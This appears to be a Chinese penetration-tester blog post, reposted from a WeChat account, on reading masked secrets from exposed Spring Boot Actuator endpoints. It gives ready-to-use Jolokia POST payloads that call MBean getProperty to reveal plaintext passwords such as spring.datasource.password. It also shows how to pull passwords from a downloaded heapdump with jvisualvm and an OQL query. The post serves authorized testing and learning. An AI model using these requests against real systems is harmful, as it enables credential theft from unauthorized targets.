1、概述
Spring是啥就不再介绍了之前文章也写过,在很多时候做项目都能够遇到,就在前两天还碰到了,感觉遇见的概率还挺大的,今天就如标题,简单说一下。
2、内容
对于env是可以获取系统全部环境属性的,访问env后系统响应返回的数据中会存在很多带*的字段,有密码、key值等等敏感信息。那你想想带*的肯定是不愿意让你看见的, 不愿意让你看见的那就是敏感信息有用的信息,至于如何利用还是得结合当前的环境。获取env中带*的敏感信息有两种方式。
一、通过正常请求响应获取
首先我们在遇见spring时确定是否存在端点信息泄露,比如:
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)
现在我么只说env,在项目中访问env端点,我么可以看到存在带*号的字段,截图没截全,还有其他password字段。
在看到带*的值后,我们得想着如何获取到这些敏感信息。
调用 org.springframework.boot Mbean
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
调用 org.springframework.cloud.context.environment Mbean
spring 1.x
POST /jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
还可以调用其他Mbean,在项目中根据spring环境进行调用获取,我使用 org.springframework.cloud.context.environment spring 2.x进行获取。如下图所示,我们获取spring.datasource.password字段值,有时候可能只是前端加*,看源码就行,没有的话使用这种方式。
构造数据包:
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["spring.datasource.password"]}
使用POST方式发送以上数据包,我们可以看到返回数据包中value值就是此字段的明文密码。
只演示这一个就可以,其他跟上述步骤相同。
二、通过heapdump文件
通过heapdump文件,构造URL先下载此文件
有的时候没有hprof后缀,下载下来我们使用jdk环境中bin目录下的工具jvisualvm.exe(JVM性能调优监控工具)。
打开上述工具后加载下载后的文件,如果没有hprof后缀就加上才能进行加载。
加载文件后我们可以看到一些系统属性的基本信息。
接下来在类这一功能模块中,可以输入关键字进行过滤。
比如我们使用password字符串进行过滤。这个时候可以看到几乎所有password字段的类名就会出来,接着点击类名去查看就行了,里边也会存在明文密码字符串。
还可以在控制台的查询编辑中输入查询语句进行查询数据。
比如我们写入如下查询语句:
select s from java.lang.String s where /password/.test(s.value.toString())
执行之后含有password字符串的字段就会显示。
以上两种方法来说比较方便,平时拿来即用的。这是在项目中遇到的记录一下,时间长了就会忘记的。
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):如何获取Spring env中带*的密码-项目小记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论